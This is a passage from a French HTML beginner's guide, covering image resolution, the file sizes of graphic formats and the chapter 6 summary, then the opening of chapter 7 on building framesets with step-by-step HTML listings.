ressources concernant l’objet. Cette liste
peut inclure les ressources spécifiées par
les attributs classid et data. Le
préchargement des archives diminue
généralement le temps de chargement des
objets. Les archives spécifiées comme URI
relatifs devraient être interprétées
relativement à l’attribut codebase.

declare Quand il est présent, la définition de

l’élément OBJECT courant n’est qu’une
déclaration. L’objet doit être instancié par
la suite via une définition OBJECT qui se
réfère à cette déclaration.

LE GUIDE COMPLET 233

 Chapitre 6 Couleurs et images

Tableau 6.5 : Attributs de l’élément OBJECT

Attribut Valeur(s) Effet

standby texte Spécifie le message que l’agent utilisateur

peut restituer pendant le chargement de
l’implémentation et des données de l’objet.

Diminution du temps de téléchargement

Comme cela a déjà été souligné, le temps de chargement d’une page est
proportionnel au nombre et à la taille des graphismes employés sur cette
page. L’emploi des illustrations doit donc être judicieusement mesuré.

Heureusement, plusieurs méthodes permettent d’améliorer le temps de

chargement d’une page, même si elle contient des illustrations.

Réduction de la taille physique des images

La première méthode consiste à employer des images de plus faible
taille, ajustées à la résolution envisagée pour la page Web. Une erreur
fréquente consiste à employer des fichiers image « tels quels » et à
modifier la taille d’affichage à l’écran. Cette erreur devient de plus en
plus fréquente avec le développement de la photo numérique, dont le
pouvoir de résolution augmente d’année en année, mais elle se rencontre
aussi lors de l’emploi de documents numérisés à l’aide d’un scanner.

Il y a parfois de quoi se perdre dans la jungle des unités de mesure

employées par les dispositifs d’acquisition d’images (scanneurs,
appareils photo et caméras numériques) et de restitution (imprimantes,
tables traçantes, flasheuses).

Le terme le plus employé est celui de dpi (dots per inch) : c’est le
nombre de points sur un pouce, soit 2,54 cm. Ce terme est employé pour
les scanneurs et les imprimantes. De nos jours, une résolution
d’impression de 600 dpi est un minimum, une résolution de 2 400 dpi
n’offrant plus rien d’exceptionnel. Sachez cependant que les limites sont
proches : les professionels de l’imprimerie ne dépassent que rarement
3 600 dpi pour des reproductions d’art, en employant des papiers
spéciaux fort onéreux. Une résolution supérieure n’apporte rien et peut
même dégrader le rendu final.

234 LE GUIDE COMPLET

 Inclusion générique d’images : élément OBJECT Chapitre 6

Les imprimantes noir et blanc (comme les imprimantes laser

« ordinaires ») fonctionnent en tons de gris : chaque pixel de l’image de
départ est traduit en carré de 16 pixels (4 × 4) afin de pouvoir afficher des
teintes différentes. La résolution est donc en fait divisée par 4 par rapport
à un dessin au trait (bien qu’elle puisse être augmentée de façon logicielle
par l’imprimante). Cette organisation se faisant horizontalement,
l’appellation correcte devrait être lpi (ligne par pouce) au lieu de dpi.

En revanche, les appareils photo numériques parlent le plus souvent en

nombre total de pixels (4, 5 ou 6 millions pour les modèles les plus
perfectionnés), tandis que les écrans mélangent la notion de diagonale de
l’écran (15, 17 ou 19 pouces) et de résolution (800 × 600, 1024 × 768,
1280 × 960 ou 1280 × 1024, etc.). Pas facile de comparer, surtout en
tenant compte du fait que, pour un moniteur cathodique, l’écran affiché
est généralement plus petit que la taille physique de l’écran !

Appareils photo numériques : 4 millions de pixels, c’est beaucoup !

Oui et non … Grossièrement et traditionnellement, une photo présente
un rapport largeur/hauteur de 3/2 (en mode paysage, c’est-à-dire horizon-
talement. C’est l’inverse en mode portrait). Autrement dit, vous avez :
résolution = 3 l x 2 l
D’où
l = (résolution/6)½
Avec une résolution de 4 millions de pixels, vous obtenez :
l = (4 000 000/6)½ = (2 666 666)½ = 816,5 pixels
Une photo obtenue avec un appareil photo d’une résolution de 4 millions
de pixels possède donc une largeur d’environ 2 449 pixels et une hauteur
de 1 633 pixels. Autrement dit, imprimée avec une imprimante atteignant
une résolution de 1 200 points par pouce, pour conserver cette résolution,
la photo obtenue mesurerait environ 2 pouces par 1,4 pouces, soit 5 cm
par 3,5 cm… Pas très grand !
En revanche, si vous imprimez avec une résolution de 350 dpi (par
exemple), la photo atteindra 17,7 × 12 cm : c’est plus raisonnable.
Comprenez bien toutefois que si, partant de cette photo de 4 millions de
pixels placée dans un logiciel et ayant défini une taille d’impression de
17,7 × 12 cm, même en sélectionnant une résolution d’impression de
1 200 dpi, la vraie résolution de la photo imprimée (pas celle de
l’impression elle-même) ne sera que de 350 dpi ! Les points
supplémentaires ont été obtenus par extrapolation…

LE GUIDE COMPLET 235

 Chapitre 6 Couleurs et images

Mieux vaut donc convertir cette résolution théorique en nombre de

points : si vous considérez une photo normale de format 24 × 18 cm, soit
9,6 × 7,2 pouces, avec une résolution de 1 200 points par pouce vous
avez imprimé (9,6 × 1 200) × (7,2 × 1 200) = 99 532 800 points : plus de
99,5 millions de points ! Nous sommes loin des 4 millions de pixels de
la photo obtenue avec l’appareil photo numérique…

Le problème est toutefois totalement différent si vous affichez votre

photo numérique à l’écran : avec la résolution actuelle la plus fréquente
de 1 024 × 768, une telle photo occuperait une superficie équivalente à
presque 5 écrans (presque 2,4 écrans en largeur et un peu plus de 2 en
hauteur). Elle est donc totalement inexploitable en l’état sur une page
Web.

Tableau 6.6 : Résolution et part de marché des écrans mondiaux en 2006

(source : OneStatjuin2006)

Résolution Nombre total Résolution en dpi Part de

de points (selon la taille de marché 2006
l’écran, de 15 à
19’)

1 024 × 768 786 432 73 à 81 dpi 56,1 %

1 280 × 1 310 720 91 à 108 dpi 15,8 %

1 024

800 × 600 480 000 57 à 62 dpi 12,0 %

1 152 × 864 949 248 82 à 91 dpi 54,0 %

Le problème est similaire lorsque vous voulez placer sur votre site une
image provenant d’un scanneur à plat. Si la numérisation est effectuée
dans le but d’une impression, vous devez choisir une résolution d’entrée
égale au produit de la résolution de sortie par le rapport de taille
souhaité par rapport à l’original. Par exemple, avec une imprimante
réglée sur 600 dpi et un rapport d’impression du double de l’original,
vous aurez : 600 × 2 = 1200 dpi.

En revanche, en vue d’un affichage écran, une résolution d’entrée de 75

dpi est largement suffisante, voire exagérée, puisqu’il est exceptionnel
qu’une image occupe tout l’écran : tout dépend encore une fois du
rapport de taille entre l’original et ce que vous souhaitez obtenir à
l’écran.

236 LE GUIDE COMPLET

 Inclusion générique d’images : élément OBJECT Chapitre 6

Nous n’irons pas plus loin dans l’étude des scanneurs et autres
périphériques d’acquisition ou de restitution d’images, ce thème sortant
du champ de cet ouvrage.

En reprenant toutefois notre exemple d’image numérique, celle-ci codée

en vraies couleurs (32 bits par pixel) devrait occuper 32 × 4 millions =
128 millions de bits, soit, converti en octets, environ 16 Mo…

Heureusement, les principaux formats de fichiers graphiques opèrent

une compression des données aboutissant à une réduction de la taille des
fichiers.

Réduction de la taille des fichiers

Vous savez toutefois probablement que les fichiers graphiques peuvent
être trouvés sous différentes formes, reconnaissables à l’extension du
nom de fichier : JPG, GIF, PNG, TIF, BMP, etc., et que ces formats
réalisent une compression logicielle des données plus ou moins efficace.

À titre d’exemple, le tableau suivant présente une comparaison de la

taille des fichiers de l’image exemple de Coucher de soleil employée
dans notre page Région, qui mesure 800 × 600 pixels, selon le format de
fichier employé.

Tableau 6.7 : Comparaison de quelques formats de fichiers graphiques

Type Nbre Couleurs Taille en Taille réelle du

bit/pixel mémoire fichier

JPG 24 16 1 406 Ko 70 Ko
millions

PNG 24 16 1 406 Ko 532 Ko

millions

TIF 24 16 1 406 Ko 1 254 Ko

millions

BMP 24 16 1 406 Ko 1 407 Ko

millions

TIF 16 64 000 703 Ko 551 Ko

PNG 16 64 000 703 Ko 378 Ko

TIF 8 256 469 Ko 194 Ko

PNG 8 256 469 Ko 163 Ko

LE GUIDE COMPLET 237

 Chapitre 6 Couleurs et images

Tableau 6.7 : Comparaison de quelques formats de fichiers graphiques

Type Nbre Couleurs Taille en Taille réelle du

bit/pixel mémoire fichier

GIF 8 256 469 Ko 251 Ko

TIF 4 16 234 Ko 59 Ko

PNG 4 16 234 Ko 49 Ko

GIF 4 16 234 Ko 49 Ko

Remarquez tout d’abord que la taille en mémoire correspond bien au

calcul théorique :
800 × 600 × 24 = 11 524 000 bits = 1 440 000 octets = 1 406 Ko

Cette résolution ne permet pas le format GIF, qui n’accepte pas plus de
256 couleurs. En revanche, le format BMP la reconnaît : comme vous le
voyez, il n’effectue aucune compression. Ce format n’est d’ailleurs pas
reconnu sur le Web, pas plus que le format TIF : ils ne sont là que pour
permettre la comparaison. Dans cet exemple, le fichier JPEG est de loin
le plus petit.

La première possibilité pour réduire la taille de ce fichier sans modifier

le format de l’image consiste à réduire le nombre de couleurs, pour
passer à 64 000 couleurs. Cela élimine le format JPEG, obligatoirement
en 16 millions de couleurs. Nous restons toutefois loin de la taille du
fichier JPEG, malgré cette baisse de qualité. Poursuivons en passant en
256 couleurs, pour pouvoir tester le format GIF.

Si les fichiers restent de taille supérieure à celui d’un fichier JPEG en 16

millions de couleurs, le format GIF se révèle le plus gourmand parmi les
autres. Poussons le raisonnement à son terme en réduisant radicalement
le nombre de couleurs à 16 (soit 4 bits par couleur).

La taille des fichiers poursuit sa réduction, passant cette fois en dessous

de celle du fichier JPEG. Il est toutefois permis de s’interroger sur la
pertinence d’une telle réduction de qualité, pour ne gagner que 30 % en
taille !

Sachez toutefois que les chiffres présentés ici sont propres à cette
image : une autre image pourrait donner des résultats différents, le
format GIF pouvant s’avérer plus intéressant en 256 couleurs. Il reste

238 LE GUIDE COMPLET

 Inclusion générique d’images : élément OBJECT Chapitre 6

cependant important de noter que, inversement, la conversion d’un

fichier GIF en JPEG apporte parfois une grande amélioration !

Tout dépendant des caractéristiques du fichier, seuls les essais et

l’expérience pourront vous procurer un indice.

Il existe par ailleurs plusieurs programmes permettant de réduire la taille

des images JPEG avec une perte de qualité minimale. C’est le cas de
Paint Shop Pro.

Figure 6.55 : Paint Shop Pro permet de réduire la taille d’une image JPG

SmartSaver 3.0, conçu par Ulead, est plus facile à employer. Vous
pouvez en télécharger une version d’évaluation depuis le site [Link]
.com/webutilities/[Link] Cet utilitaire réalise un extraordinaire travail
d’ajustement de compression en comparant les résultats selon les
réglages et les types de fichiers. Deux fenêtres permettent de comparer
l’original, à gauche, et la version compressée, à droite, en taille et en
qualité. Les effets des différents réglages sautent immédiatement aux
yeux : au prix d’une baisse de qualité perceptible, mais somme toute
acceptable, la taille du fichier passe de 71 à 41 Ko ! (voir Figure 6.56)

SmartSaver propose des outils pour recadrer et modifier la taille des

images : ainsi, tous les outils nécessaires pour améliorer le chargement
d’une image sont-ils à la portée de main.

LE GUIDE COMPLET 239

 Chapitre 6 Couleurs et images

Figure 6.56 : Réduction de la taille d’une image avec SmartSaver 3.0

Recours à une page de vignettes

Pour afficher un groupe d’images de qualité photographique, une
solution astucieuse consiste à créer une page qui présente des réductions
de ces images, appelées vignettes ou miniatures (thumbnail). Chaque
vignette est reliée à l’image en taille réelle. Ceci permet aux visiteurs de
voir ce qui est disponible avec une perte de temps minimale en
chargement, et ils peuvent ainsi voir uniquement les images qui les
intéressent.

6.6. Résumé
j La toute première étape de l’enjolivement d’une page consiste à y
ajouter de la couleur.
j Exploiter les couleurs est de la plus grande simplicité en HTML,
grâce à divers attributs de l’élément BODY.
j La valeur hexadécimale employée pour spécifier une couleur
porte le nom de code RGB de cette couleur.
j Vous modifiez la couleur du texte pour ou dans un élément grâce
à l’attribut color d’un élément FONT. Vous modifiez la couleur

240 LE GUIDE COMPLET

 Résumé Chapitre 6

du fond des éléments d’un tableau à l’aide de l’attribut bgcolor

de l’élément concerné.
j Les couleurs peuvent être désactivées par l’utilisateur. Tous les
navigateurs ou presque possèdent désormais des options de
gestion des couleurs ou autorisent les utilisateurs à définir un
ensemble particulier de couleurs à utiliser pour tout site visité.
Tous ces attributs sont désormais déconseillés, au profit des
feuilles de style.
j Il est possible de placer des images sur un site Web. Les formats
de fichiers graphiques les plus fréquents sont GIF (Graphic
Interchange Format), JPEG (Join Photographic Experts Group) et
PNG (Portable Network Graphic). Pour pouvoir diffuser sur votre
site une image, vous devez avoir le droit de le faire : elle est libre
de droits, vous avez obtenu l’accord de son propriétaire ou vous
en êtes vous-même l’auteur.
j Vous insérez une image d’arrière-plan pour la totalité de la page
dans l’élément BODY à l’aide de l’attribut background.
j Vous insérez une image dans un élément HTML à l’aide des
éléments IMG et OBJECT. Ce dernier élément, plus puissant, est
désormais à privilégier.
j Vous pouvez employer des images statiques ou des images
animées (gifs animés). Vous pouvez créer vos propres images
animées.
j Il est possible de créer et d’insérer des images cliquables : un clic
sur une portion de l’image déclenche une action, souvent (mais
pas toujours) l’ouverture d’une nouvelle page. Vous employez
pour ce faire les éléments MAP et AREA, associés à des éléments
IMG ou OBJECT.
j De façon générale, mieux vaut toujours chercher à diminuer le
temps de téléchargement d’une page Web. Vous devez veiller à
bien contrôler la taille de vos images. Un choix judicieux du
format de fichier, ainsi que le recours à certains utilitaires, peut
permettre de réduire sensiblement la taille des fichiers concernés,
sans perte de qualité visuelle.

LE GUIDE COMPLET 241

 Jeux
d’encadrement

Jeu d’encadrement : élément FRAMESET .................................................................. 245

Contenu d’un jeu d’encadrement : élément FRAME ................................................ 248
Détermination du cadre cible : attribut target ............................................................. 261
Ensembles de cadres imbriqués .................................................................................... 265
Partage de données entre cadres ................................................................................. 269
Contenu de remplacement : élément NOFRAMES ................................................... 270
Cadres en ligne : élément IFRAME ................................................................................ 271
Travail avec les jeux d’encadrement ............................................................................. 273
Résumé ................................................................................................................................ 275
 Chapitre 7 Jeux d’encadrement

Les cadres ou frames sont largement employés en HTML. Ils constituent le

principal moyen d’afficher de multiples pages HTML sur le même écran au
même moment. Vous pourriez ouvrir plusieurs fenêtres ou onglets sous votre
navigateur, mais seriez alors contraint de basculer constamment de l’un à
l’autre. Grâce aux cadres, il est possible de concevoir un site qui présente
aux utilisateurs plusieurs fenêtres. Ces fenêtres d’information doivent
cependant être liées : les utilisateurs ne doivent pas avoir l’impression de
perdre une place précieuse pour des éléments sans importance.
Les cadres sont fréquemment employés pour contrôler la navigation de
l’utilisateur sur le site. Des études ont démontré qu’une barre de
navigation ou un menu n’étaient utiles qu’à condition d’être situés en
haut d’un document. Beaucoup d’utilisateurs du Web ne font jamais
défiler l’écran vers le bas : les éventuelles barres de navigation situées
en bas d’une page doivent donc être des répliques de celles du haut.
Mieux vaut recourir à un cadre pour placer définitivement les outils de
navigation à un endroit bien défini de l’écran.
Des cadres permettent de présenter les documents selon des vues multiples :
des fenêtres indépendantes ou des sous-fenêtres. C’est un moyen de garder
visibles certaines informations, tandis que d’autres fenêtres défilent ou sont
remplacées. Par exemple, dans la même fenêtre, un cadre pourrait afficher
une bannière statique, un deuxième cadre afficher un menu de navigation et
un troisième le document principal qui peut défiler ou être remplacé au gré
de la navigation via le deuxième cadre.
Ce chapitre montre comment construire un jeu d’encadrement ou
frameset, aussi nommé « ensemble de cadres ». Cela s’effectue par le
biais d’un fichier qui définit les cadres, le mode d’ouverture d’une page
dans un cadre en utilisant le lien présent dans un autre, et la façon
d’utiliser les éléments de script pour que les cadres fonctionnent
correctement. Vous allez apprendre à concevoir un ensemble de cadres
attrayant, ergonomique et efficace.
En raison des problèmes de conception qui leur sont propres, les cadres
sont une technique avancée de HTML et doivent être traités comme tels.
Éléments étudiés
FRAMESET, cols, rows
FRAME, name, src, noresize, scrolling, frameborder,
marginheight, marginwidth
target
BASE
NOFRAMES
IFRAME

244 LE GUIDE COMPLET

 Jeu d’encadrement : élément FRAMESET Chapitre 7

7.1. Jeu d’encadrement : élément

FRAMESET
Un fichier de définition de jeu d’encadrement possède une syntaxe
analogue à celle d’un document HTML ordinaire, mais son code diffère.
Tout d’abord, avec HTML 4.01, ces documents utilisent un élément
DOCTYPE différent en tête de page. Ils sont en outre dépourvus
d’élément BODY, remplacé par un élément FRAMESET.

Nous allons immédiatement mettre en jeu les cadres pour améliorer

notre site Web. Le meilleur moyen de commencer consiste à tracer sur
une feuille de papier l’aspect souhaité, en attribuant un nom à chaque
cadre. Ici, comme le montre la figure suivante, notre ensemble de cadres
ne contient que deux cadres. Le premier cadre, nommé nav (pour
navigation), occupe la totalité de la largeur de l’écran et ne possède
qu’une hauteur de 50 pixels. Le second cadre, nommé princ (pour
principal) occupe le reste de la fenêtre.

Figure 7.1 : Schéma de l’ensemble de cadres de notre site

Passons à la pratique.
1 Ouvrez le Bloc-Notes.
2 Saisissez l’élément DOCTYPE caractéristique d’un ensemble de
cadres :
<!DOCTYPE HTML PUBLIC
"-//W3C//DTD HTML 4.01 Frameset//EN"
"[Link]

LE GUIDE COMPLET 245

 Chapitre 7 Jeux d’encadrement

3 Poursuivez comme avec n’importe quel document HTML, en

saisissant les éléments HTML et HEAD. Comme à l’habitude,
n’oubliez pas de refermer immédiatement ces éléments :
<HTML>
<HEAD>
</HEAD>
<HTML>

4 Vous allez maintenant saisir les différents éléments à l’intérieur de

l’élément HEAD : TITLE et divers éléments META.
<HEAD>
<TITLE>"Mon site Web"</TITLE>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html;
charset=iso-8859-1">
<META name="author" content="votre nom">
<META name="version" content="2.7.1">
</HEAD>

Remarquez que ce contenu est identique à celui de l’élément

HEAD de notre page d’accueil, à une exception près : comme nous
apportons une modification majeure au site, le numéro de version
devient 2.7.1.
5 Contrairement à une page Web « normale », un fichier d’ensemble
de cadres est dépourvu d’élément BODY, remplacé par un élément
FRAMESET. Vous y saisissez la définition de votre ensemble de
cadres :
</HEAD>
<FRAMESET rows="50, *">
<FRAME src="[Link]" name="nav">
<FRAME src="[Link]" name ="princ">
</FRAMESET>
</HTML>

Nos deux cadres empilés se comportent comme des lignes et sont

donc définis dans l’ensemble de cadres comme tels (rows). Si
nous avions choisi des cadres juxtaposés, donc en colonnes, nous
aurions employé cols. Remarquez la spécification de la hauteur
du premier cadre, 50 pixels. Le signe * employé pour le second
signifie « occuper le reste de l’écran ». Ces points seront étudiés
dans la suite de cette section.
6 Tous les agents utilisateurs ne sont pas en mesure d’afficher les
cadres. Une bonne précaution consiste à prévoir une alternative, à
l’aide d’un élément NOFRAMES. Si l’agent utilisateur ne peut
afficher les cadres (ou est configuré pour ne pas le faire), il
restitue le contenu de l’élément NOFRAMES.

246 LE GUIDE COMPLET

 Jeu d’encadrement : élément FRAMESET Chapitre 7

<FRAME src="[Link]" name ="princ">

<NOFRAMES>
<P>Ce document a recours &agrave; un jeu d’encadrement
qui contient :
<UL>
<LI><A href="[Link]">Une barre de
navigation </A>
<LI><A href="[Link]">Une page
d’accueil</A>
</UL>
</P>
</NOFRAMES>
</FRAMESET>
</HTML>

7 Enregistrez votre fichier sous le nom [Link].

[Link] ?
Vous pourriez vous demander pourquoi ce fichier est enregistré sous
ce nom. Lorsque qu’il reçoit un URI dépourvu de nom de fichier, tout
agent utilisateur recherche par défaut un fichier nommé [Link]. Cela
évite d’avoir à mémoriser le nom de la première page de votre site : seul
l’URI vers son dossier est nécessaire, soit donc dans notre cas
…/MonSite.

L’élément FRAMESET spécifie la disposition de la fenêtre principale de

l’utilisateur selon des subdivisions rectangulaires : lignes et colonnes.

Nous avons employé ici l’attribut rows. Celui-ci spécifie la disposition

des cadres horizontaux. Sa valeur est une liste de longueurs en pixels, en
pourcentage ou relatives, séparées par des virgules. La valeur par défaut
est 100 %, c’est-à-dire une seule rangée.

Prenons un exemple :
<FRAMESET rows="20,25%,*">
...reste de la définition...
</FRAMESET>

Vous créez ici trois lignes. La première possède une hauteur fixe de 20
pixels (pour recevoir par exemple des icônes de navigation dont les
dimensions sont connues). La seconde occupe 25 % de l’espace qui
reste disponible et la troisième le solde (soit 75 %).

Nous aurions pu préférer une disposition en colonnes, à l’aide de

l’attribut cols, qui spécifie la disposition des cadres verticaux. Sa

LE GUIDE COMPLET 247

 Chapitre 7 Jeux d’encadrement

valeur est une liste de longueurs en pixels, en pourcentage ou relatives,

séparées par des virgules. La valeur par défaut est 100 %, c’est-à-dire
une seule colonne.

Il est possible de combiner des attributs rows et cols. Si l’attribut

rows est absent, chaque colonne occupe la hauteur entière de la page. Si
l’attribut cols est absent, chaque rangée occupe la largeur entière de la
page. Si aucun de ces attributs n’est présent, le cadre occupe la totalité
de la page.

Les cadres sont créés de gauche à droite pour les colonnes et de haut en
bas pour les lignes. Quand les deux attributs sont spécifiés, les cadres
sont créés ligne par ligne du haut vers le bas, les colonnes étant placées
successivement de gauche à droite dans la rangée supérieure, de gauche
à droite dans la rangée suivante, etc.

Voici un exemple de grille 2×3 :

<FRAMESET rows="30%,70%" cols="33%,34%,33%">
...reste de la définition...
</FRAMESET>

Les longueurs absolues dont le total n’est pas égal à 100 % de l’espace
disponible réel devraient être ajustées par l’agent utilisateur. Quand ce
total est inférieur à 100 %, l’espace restant devrait être alloué
proportionnellement à chaque vue. Quand il est supérieur, chaque vue
devrait être réduite en fonction de la proportion de l’espace total qui lui
est spécifiée.

Je pense que vous commencez à comprendre pourquoi il est fortement

conseillé de tracer sur papier l’aspect voulu d’un jeu d’encadrement
avant de commencer à le programmer…

7.2. Contenu d’un jeu d’encadrement :

élément FRAME
Vous avez donc créé un jeu d’encadrement fort simple. Celui-ci est
toutefois pour le moment totalement dépourvu de contenu. Vous devez
avoir compris que cette page allait remplacer l’actuelle page d’accueil.
Celle-ci est divisée en deux pages distinctes, affichées chacune dans un
cadre propre : la partie navigation dans le cadre du haut, et le texte
d’accueil dans le second cadre. Créez maintenant ces deux pages, à
partir de l’ancienne page d’accueil.

248 LE GUIDE COMPLET

Contenu d’un jeu d’encadrement : élément FRAME Chapitre 7

1 Ouvrez dans le Bloc-Notes la dernière version de la page

d’accueil, pageacc_6_1.html.
2 Vous allez d’abord créer la barre de navigation. Modifiez tout
d’abord le contenu des éléments TITLE et META, comme suit :
<HEAD>
<TITLE>"Barre de navigation"</TITLE>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html;
charset=iso-8859-1">
<META name="author" content="votre nom">
<META name="version" content="2.7.1">
</HEAD>

3 Cette page doit être une simple barre de navigation. Remplacez la

totalité du contenu actuel de l’élément BODY par ce qui suit (en
faisant attention, vous pouvez vous éviter un peu de saisie…) :
<BODY>
<TABLE border="0" align="center">
<TR>
<TD><A href="[Link]" target=princ>
Accueil</A></TD>
<TD><A href="[Link]" target=princ>
Ma r&eacute;gion</A></TD>
<TD><A href="[Link]" target=princ>
Ma famille</A></TD>
<TD><A href="[Link]" target=princ>
Mes passions</A></TD>
<TD><A href="[Link]
<IMG src="Images/[Link]" height="50"
alt="Ecrivez-moi !"
border="0"></A></TD
</TR>
</TABLE>
</BODY>

Remarquez que nous avons éliminé les couleurs attribuées

précédemment à la page, dans l’élément BODY : vous savez
désormais définir vos propres couleurs et arrière-plans.
4 C’est tout pour la barre de navigation. Enregistrez le fichier sous
le nom [Link].
5 Rechargez dans le Bloc-Notes la page pageacc_6_1.html.
6 Vous allez cette fois créer la page d’accueil. Modifiez le contenu
des éléments TITLE et META, comme suit :
<HEAD>
<TITLE>"Page d’accueil"</TITLE>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html;
charset=iso-8859-1">

LE GUIDE COMPLET 249

 Chapitre 7 Jeux d’encadrement

<META name="author" content="votre nom">

<META name="version" content="2.7.1">
</HEAD>

7 Modifiez comme suit le contenu de l’élément BODY. Comme

précédemment, vous devriez pouvoir vous éviter un peu de
saisie… :
<BODY>
<H1 align="center">Ma page d’accueil</H1>
<HR>
<H2 align="center">Bienvenue sur <EM>mon</EM>
site.</H2>
<DIV align="center">
<P>Vous trouverez sur ce site des
<STRONG>informations</STRONG> :</P>
<UL>
<LI>sur ma r&eacute;gion</A> ;</LI>
<LI>sur ma famille</A> ;</LI>
<LI>sur mes passions</A>.</LI>
</UL>
<P>
Naviguez dans le site &agrave; l’aide de la barre de
navigation propos&eacute;e ci-dessus.
</P>
<HR>
<ADDRESS>
<A href="../ORignal/">Olivier Rignal</A> et
<A href="../JBogue/">Justin Bogue</A> sont les
personnes &agrave; contacter pour tout
<A href="probleme">probl&egrave;me</A>
rencontr&eacute; sur le site.
</ADDRESS>
<!-- Des remarques l&eacute;gales ne seraient pas
superflues -->
</DIV>
</BODY>

Remarquez le recours à un élément DIV pour obtenir le centrage

du contenu de la page, après les titres.
8 Enregistrez le fichier sous le nom [Link].
Voici les listings complets des trois fichiers créés à ce stade :

Listing 7-1 : [Link]

<!DOCTYPE HTML PUBLIC
"-//W3C//DTD HTML 4.01 Frameset//EN"
"[Link]
<HEAD>

250 LE GUIDE COMPLET

Contenu d’un jeu d’encadrement : élément FRAME Chapitre 7

<TITLE>"Mon site Web"</TITLE>

<META HTTP-EQUIV="Content-Type" CONTENT="text/html;
charset=iso-8859-1">
<META name="author" content="votre nom">
<META name="version" content="2.7.1">
</HEAD>
<FRAMESET rows="50, *">
<FRAME src="[Link]" name="nav">
<FRAME src="[Link]" name ="princ">
<NOFRAMES>
<P>Ce document a recours &agrave; un jeu
d’encadrement qui contient :
<UL>
<LI><A href="[Link]">Une barre
de navigation </A>
<LI><A href="[Link]">Une page
d’accueil</A>
</UL>
</P>
</NOFRAMES>
</FRAMESET>
</HTML>

Listing 7-2 : [Link]

<!DOCTYPE HTML PUBLIC
"-//W3C//DTD HTML 4.01 Transitional//EN"
"[Link]
<HTML>
<HEAD>
<TITLE>"Barre de navigation"</TITLE>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html;
charset=iso-8859-1">
<META name="author" content="votre nom">
<META name="version" content="2.7.1">
</HEAD>
<BODY>
<TABLE border="0" align="center">
<TR align="center">
<TD><A href="[Link]" target=princ>
Accueil</A></TD>
<TD><A href="[Link]" target=princ>
Ma r&eacute;gion</A></TD>
<TD><A href="[Link]" target=princ>
Ma famille</A></TD>
<TD><A href="[Link]" target=princ>
Mes passions</A></TD>
<TD><A href="[Link]
<IMG src="Images/[Link]"
height="50" alt="Ecrivez-moi !"
border="0"></A></TD
</TR>
</TABLE>

LE GUIDE COMPLET 251

 Chapitre 7 Jeux d’encadrement

</BODY>
</HTML>

Listing 7-3 : [Link]

<!DOCTYPE HTML PUBLIC
"-//W3C//DTD HTML 4.01 Transitional//EN"
"[Link]
<HTML>
<HEAD>
<TITLE>"Page d’accueil"</TITLE>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html;
charset=iso-8859-1">
<META name="author" content="votre nom">
<META name="version" content="2.7.1">
</HEAD>
<BODY>
<H1 align="center">Ma page d’accueil</H1>
<HR>
<H2 align="center">Bienvenue sur <EM>mon</EM>
site.</H2>
<DIV align="center"
<P>Vous trouverez sur ce site des
<STRONG>informations</STRONG> :</P>
<UL>
<LI>sur ma r&eacute;gion</A> ;</LI>
<LI>sur ma famille</A> ;</LI>
<LI>sur mes passions</A>.</LI>
</UL>
<P>
Naviguez dans le site &agrave; l’aide de la barre
de navigation propos&eacute;e ci-dessus.
</P>
<HR>
<ADDRESS>
<A href="../ORignal/">Olivier Rignal</A> et
<A href="../JBogue/">Justin Bogue</A> sont
les personnes &agrave; contacter pour tout
<A href="probleme">probl&egrave;me</A> rencontr&eacute;
sur le site.
</ADDRESS>
<!-- Des remarques l&eacute;gales ne seraient pas
superflues -->
</DIV>
</BODY>
</HTML>

Vous pouvez maintenant examiner votre travail dans votre navigateur.

Ne testez pas encore les liens de la barre de navigation.

252 LE GUIDE COMPLET

Contenu d’un jeu d’encadrement : élément FRAME Chapitre 7

Figure 7.2 : Aspect du nouveau jeu d’encadrement

Quelques problèmes se posent dans la barre de navigation. Tout d’abord,

en ayant éliminé les couleurs, l’icône retenue pour envoyer un courriel
ressort de façon un peu désagréable. Vous pourriez définir votre propre
charte graphique (et vous le ferez probablement), et savez où chercher
une icône plus adaptée, grâce au Chapitre 6.

Plus gênant, bien que nous ayons pris la précaution d’éliminer les
bordures du tableau et d’ajuster la hauteur de l’icône, celle-ci n’apparaît
pas totalement. Une barre de défilement est donc proposée sur la droite
de l’écran. En outre, la barre séparant les deux cadres n’est pas du
meilleur goût. Remarquez d’ailleurs qu’il est possible de la cliquer-
déposer pour modifier la taille du cadre de la barre de navigation, ce qui
n’est pas ce que nous souhaitons. Il est possible de remédier à ces
différents points.
1 Ouvrez à nouveau le fichier [Link].
2 Modifiez comme suit l’élément FRAME de la barre de navigation :
<FRAME src="[Link]" name="nav" noresize
scrolling="no" frameborder="0" marginheight="0">
<FRAME src="[Link]" name ="princ" frameborder="0">

Nous reviendrons sous peu plus en détail sur les attributs

employés.
3 Enregistrez le fichier sans modifier son nom. Examinez-le à
nouveau dans votre navigateur.

LE GUIDE COMPLET 253

 Chapitre 7 Jeux d’encadrement

Figure 7.3 :
Aspect du jeu
d’encadrement
modifié

L’aspect est désormais beaucoup plus sympathique. Avant de procéder à

un test plus approfondi, il est nécessaire de veiller à ce que les cibles des
liens de la barre de navigation soient valides. Si les fichiers [Link]
et [Link] existent bien, ce n’est pas le cas du fichier [Link].
Réglez ce problème maintenant.
4 Ouvrez le fichier region1_6_3.html, puis, sans le modifier,
enregistrez-le sous le nom [Link], sans fermer le Bloc-Notes
ni le fichier.
5 Testez maintenant les différents liens de la barre de navigation.
Vous vous déplacez aisément d’une page à l’autre, sans avoir à
revenir à la page d’accueil. Comme toutefois les liens sont
dorénavant toujours présents à l’écran, ceux situés sur les pages
secondaires deviennent superflus. Les éliminer améliorera l’aspect
de ces pages, tout en facilitant leur maintenance ultérieure.

Figure 7.4 :
Supprimer les
liens du bas de
la page
améliorera son
aspect

254 LE GUIDE COMPLET

Contenu d’un jeu d’encadrement : élément FRAME Chapitre 7

6 Revenez au fichier [Link], toujours ouvert. Modifiez son

numéro de version comme suit :
<META name ="version" content="2.7.1">

7 Pour bien faire, supprimez les deux premiers éléments OBJECT

(l’applet Python et l’animation MNG), puis supprimez les liens
situés en bas de la page. Les lignes à supprimer sont les
suivantes :
<!-- Essayer d’abord un applet en Python -->
<OBJECT title="Coucher de soleil sur le lac de
Linciel" classid="[Link]">
<!-- Sinon, essayer l’animation MNG -->
<OBJECT data="[Link]" type="application/mng">
...
<P align="center">
<A href="pageacc1_6_1.html">Retour vers la page
d’accueil</A>
</P>

